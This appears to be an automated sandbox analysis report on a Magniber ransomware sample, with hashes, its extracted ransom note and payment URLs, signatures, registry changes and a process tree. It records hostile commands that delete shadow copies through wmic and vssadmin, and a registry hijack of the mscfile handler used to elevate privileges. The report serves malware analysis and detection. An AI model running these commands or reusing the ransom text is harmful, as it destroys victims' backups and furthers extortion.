Analysis
-
max time kernel
133s -
max time network
137s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-06-2021 01:07
Static task
static1
Behavioral task
behavioral1
Sample
4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe
-
Size
21KB
-
MD5
e0fa3beea2fdf9c48e26d128f624aa90
-
SHA1
d853e4f29d2832c3830441613cfe7f23889c660e
-
SHA256
4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7
-
SHA512
4a549ec73a4e0fbc5285152bcb5c35da95d9bcc79e7f0b1c1d844bc4ce5d6639084246fea4a7e79285a12c82fa59046cef8a77870db895f573a88df6ec601dcf
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://e4c440b8b640c0c0cnaoekeon.ndkeblzjnpqgpo5o.onion/cnaoekeon
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://e4c440b8b640c0c0cnaoekeon.wonride.site/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.lieedge.casa/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.bejoin.space/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.oddfelt.casa/cnaoekeon
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://e4c440b8b640c0c0cnaoekeon.ndkeblzjnpqgpo5o.onion/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.wonride.site/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.lieedge.casa/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.bejoin.space/cnaoekeon
http://e4c440b8b640c0c0cnaoekeon.oddfelt.casa/cnaoekeon
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 10 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2088 1760 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2108 1760 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2120 1760 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2080 1760 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2164 1760 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2784 1760 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2776 1760 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2768 1760 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2792 1760 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2820 1760 vssadmin.exe 49 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\OptimizeUninstall.crw => C:\Users\Admin\Pictures\OptimizeUninstall.crw.cnaoekeon taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1084 set thread context of 1128 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 9 PID 1084 set thread context of 1236 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 8 PID 1084 set thread context of 1288 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 7 -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2820 vssadmin.exe 2784 vssadmin.exe 2776 vssadmin.exe 2768 vssadmin.exe 2792 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000b2159737b4a40f289ee0bfd6f0ab55fb39afc4d0717a71316cd3ad16158f151c000000000e8000000002000020000000d6ecaf7bd95a89e9b77c0f1beefbe8e206bc925a5c6a2369d766f425bee36660200000004f37cb2d7e29e0e5832127b39affc12c90af1a5cc72c7176151b4debda1c79bc4000000092d4df769cb87951b78485ba1a0fce827bb4aae59308ad52ca7d1af33bceb9a6319aa5b1a407a93a26ec531bc484bb582dfb10d81d2de2304280cc77d8e3eb51 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000ca141977048eb28422b2147b97cf33e3358640413f34f75a39c611cc6543dcc5000000000e8000000002000020000000d34ac7f7a298f91dad38ef0c5298dc562a7d95bbea02523ebee597515664ffed90000000642233fdd0945fe6e543460f141d52b47d60e4b6fe11c16dd212412ff301de85d7b1c0d64b100bfb61296efd081065295b262e485d0feb651c36dafc0f0625fee01d846c337d69b40c6bb744973cda8df0c75f13c680be0b42fd2de67fcc214c24615f3a5d08e5df52c7c38b7b63dd7ce4e376f196fa4b43a0b088dfff7994783b85ac07d3f9bc3bb77d309d7b74ea7c400000009386c1354d425771a1feaaba131e90e9053fa1378904aca8c46e5638e53dacf4a8124bf8a37a45a911db331d70d5b9645bad2576469295761c8cc646301c9839 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{762F6561-D163-11EB-A1A8-4E3F7CC12DEF} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "330916044" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0566d4e7065d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile taskhost.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 316 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1288 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1744 WMIC.exe Token: SeSecurityPrivilege 1744 WMIC.exe Token: SeTakeOwnershipPrivilege 1744 WMIC.exe Token: SeLoadDriverPrivilege 1744 WMIC.exe Token: SeSystemProfilePrivilege 1744 WMIC.exe Token: SeSystemtimePrivilege 1744 WMIC.exe Token: SeProfSingleProcessPrivilege 1744 WMIC.exe Token: SeIncBasePriorityPrivilege 1744 WMIC.exe Token: SeCreatePagefilePrivilege 1744 WMIC.exe Token: SeBackupPrivilege 1744 WMIC.exe Token: SeRestorePrivilege 1744 WMIC.exe Token: SeShutdownPrivilege 1744 WMIC.exe Token: SeDebugPrivilege 1744 WMIC.exe Token: SeSystemEnvironmentPrivilege 1744 WMIC.exe Token: SeRemoteShutdownPrivilege 1744 WMIC.exe Token: SeUndockPrivilege 1744 WMIC.exe Token: SeManageVolumePrivilege 1744 WMIC.exe Token: 33 1744 WMIC.exe Token: 34 1744 WMIC.exe Token: 35 1744 WMIC.exe Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1800 WMIC.exe Token: SeSecurityPrivilege 1800 WMIC.exe Token: SeTakeOwnershipPrivilege 1800 WMIC.exe Token: SeLoadDriverPrivilege 1800 WMIC.exe Token: SeSystemProfilePrivilege 1800 WMIC.exe Token: SeSystemtimePrivilege 1800 WMIC.exe Token: SeProfSingleProcessPrivilege 1800 WMIC.exe Token: SeIncBasePriorityPrivilege 1800 WMIC.exe Token: SeCreatePagefilePrivilege 1800 WMIC.exe Token: SeBackupPrivilege 1800 WMIC.exe Token: SeRestorePrivilege 1800 WMIC.exe Token: SeShutdownPrivilege 1800 WMIC.exe Token: SeDebugPrivilege 1800 WMIC.exe Token: SeSystemEnvironmentPrivilege 1800 WMIC.exe Token: SeRemoteShutdownPrivilege 1800 WMIC.exe Token: SeUndockPrivilege 1800 WMIC.exe Token: SeManageVolumePrivilege 1800 WMIC.exe Token: 33 1800 WMIC.exe Token: 34 1800 WMIC.exe Token: 35 1800 WMIC.exe Token: SeIncreaseQuotaPrivilege 1724 WMIC.exe Token: SeSecurityPrivilege 1724 WMIC.exe Token: SeTakeOwnershipPrivilege 1724 WMIC.exe Token: SeLoadDriverPrivilege 1724 WMIC.exe Token: SeSystemProfilePrivilege 1724 WMIC.exe Token: SeSystemtimePrivilege 1724 WMIC.exe Token: SeProfSingleProcessPrivilege 1724 WMIC.exe Token: SeIncBasePriorityPrivilege 1724 WMIC.exe Token: SeCreatePagefilePrivilege 1724 WMIC.exe Token: SeBackupPrivilege 1724 WMIC.exe Token: SeRestorePrivilege 1724 WMIC.exe Token: SeShutdownPrivilege 1724 WMIC.exe Token: SeDebugPrivilege 1724 WMIC.exe Token: SeSystemEnvironmentPrivilege 1724 WMIC.exe Token: SeRemoteShutdownPrivilege 1724 WMIC.exe Token: SeUndockPrivilege 1724 WMIC.exe Token: SeManageVolumePrivilege 1724 WMIC.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1288 Explorer.EXE 1280 iexplore.exe 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE -
Suspicious use of SendNotifyMessage 6 IoCs
pid Process 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1280 iexplore.exe 1280 iexplore.exe 2256 IEXPLORE.EXE 2256 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1128 wrote to memory of 316 1128 taskhost.exe 26 PID 1128 wrote to memory of 316 1128 taskhost.exe 26 PID 1128 wrote to memory of 316 1128 taskhost.exe 26 PID 1128 wrote to memory of 1600 1128 taskhost.exe 28 PID 1128 wrote to memory of 1600 1128 taskhost.exe 28 PID 1128 wrote to memory of 1600 1128 taskhost.exe 28 PID 1128 wrote to memory of 1636 1128 taskhost.exe 29 PID 1128 wrote to memory of 1636 1128 taskhost.exe 29 PID 1128 wrote to memory of 1636 1128 taskhost.exe 29 PID 1084 wrote to memory of 652 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 35 PID 1084 wrote to memory of 652 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 35 PID 1084 wrote to memory of 652 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 35 PID 1084 wrote to memory of 1476 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 36 PID 1084 wrote to memory of 1476 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 36 PID 1084 wrote to memory of 1476 1084 4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe 36 PID 1288 wrote to memory of 320 1288 Explorer.EXE 38 PID 1288 wrote to memory of 320 1288 Explorer.EXE 38 PID 1288 wrote to memory of 320 1288 Explorer.EXE 38 PID 1236 wrote to memory of 596 1236 Dwm.exe 34 PID 1236 wrote to memory of 596 1236 Dwm.exe 34 PID 1236 wrote to memory of 596 1236 Dwm.exe 34 PID 1636 wrote to memory of 1744 1636 cmd.exe 44 PID 1636 wrote to memory of 1744 1636 cmd.exe 44 PID 1636 wrote to memory of 1744 1636 cmd.exe 44 PID 320 wrote to memory of 1800 320 cmd.exe 43 PID 320 wrote to memory of 1800 320 cmd.exe 43 PID 320 wrote to memory of 1800 320 cmd.exe 43 PID 652 wrote to memory of 1724 652 cmd.exe 46 PID 652 wrote to memory of 1724 652 cmd.exe 46 PID 652 wrote to memory of 1724 652 cmd.exe 46 PID 1600 wrote to memory of 1280 1600 cmd.exe 45 PID 1600 wrote to memory of 1280 1600 cmd.exe 45 PID 1600 wrote to memory of 1280 1600 cmd.exe 45 PID 596 wrote to memory of 852 596 cmd.exe 47 PID 596 wrote to memory of 852 596 cmd.exe 47 PID 596 wrote to memory of 852 596 cmd.exe 47 PID 1476 wrote to memory of 836 1476 cmd.exe 48 PID 1476 wrote to memory of 836 1476 cmd.exe 48 PID 1476 wrote to memory of 836 1476 cmd.exe 48 PID 2120 wrote to memory of 2208 2120 cmd.exe 63 PID 2120 wrote to memory of 2208 2120 cmd.exe 63 PID 2120 wrote to memory of 2208 2120 cmd.exe 63 PID 2088 wrote to memory of 2220 2088 cmd.exe 62 PID 2088 wrote to memory of 2220 2088 cmd.exe 62 PID 2088 wrote to memory of 2220 2088 cmd.exe 62 PID 2080 wrote to memory of 2240 2080 cmd.exe 60 PID 2080 wrote to memory of 2240 2080 cmd.exe 60 PID 2080 wrote to memory of 2240 2080 cmd.exe 60 PID 1280 wrote to memory of 2256 1280 iexplore.exe 61 PID 1280 wrote to memory of 2256 1280 iexplore.exe 61 PID 1280 wrote to memory of 2256 1280 iexplore.exe 61 PID 1280 wrote to memory of 2256 1280 iexplore.exe 61 PID 2108 wrote to memory of 2284 2108 cmd.exe 64 PID 2108 wrote to memory of 2284 2108 cmd.exe 64 PID 2108 wrote to memory of 2284 2108 cmd.exe 64 PID 2164 wrote to memory of 2296 2164 cmd.exe 66 PID 2164 wrote to memory of 2296 2164 cmd.exe 66 PID 2164 wrote to memory of 2296 2164 cmd.exe 66 PID 2284 wrote to memory of 2476 2284 CompMgmtLauncher.exe 67 PID 2284 wrote to memory of 2476 2284 CompMgmtLauncher.exe 67 PID 2284 wrote to memory of 2476 2284 CompMgmtLauncher.exe 67 PID 2240 wrote to memory of 2488 2240 CompMgmtLauncher.exe 68 PID 2240 wrote to memory of 2488 2240 CompMgmtLauncher.exe 68 PID 2240 wrote to memory of 2488 2240 CompMgmtLauncher.exe 68
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe"C:\Users\Admin\AppData\Local\Temp\4a8291d1b7e90e942220471d1335a544d59791d693a3065f0cff46632cd821c7.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1724
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:836
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:596 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:852
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:316
-
-
C:\Windows\system32\cmd.execmd /c "start http://e4c440b8b640c0c0cnaoekeon.wonride.site/cnaoekeon^&1^&37970999^&54^&261^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://e4c440b8b640c0c0cnaoekeon.wonride.site/cnaoekeon&1&37970999&54&261&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1280 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2256
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1744
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2220
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2548
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2476
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2208
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2500
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2488
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2296
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2528
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2784
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2776
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2768
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2792
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2820
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:3004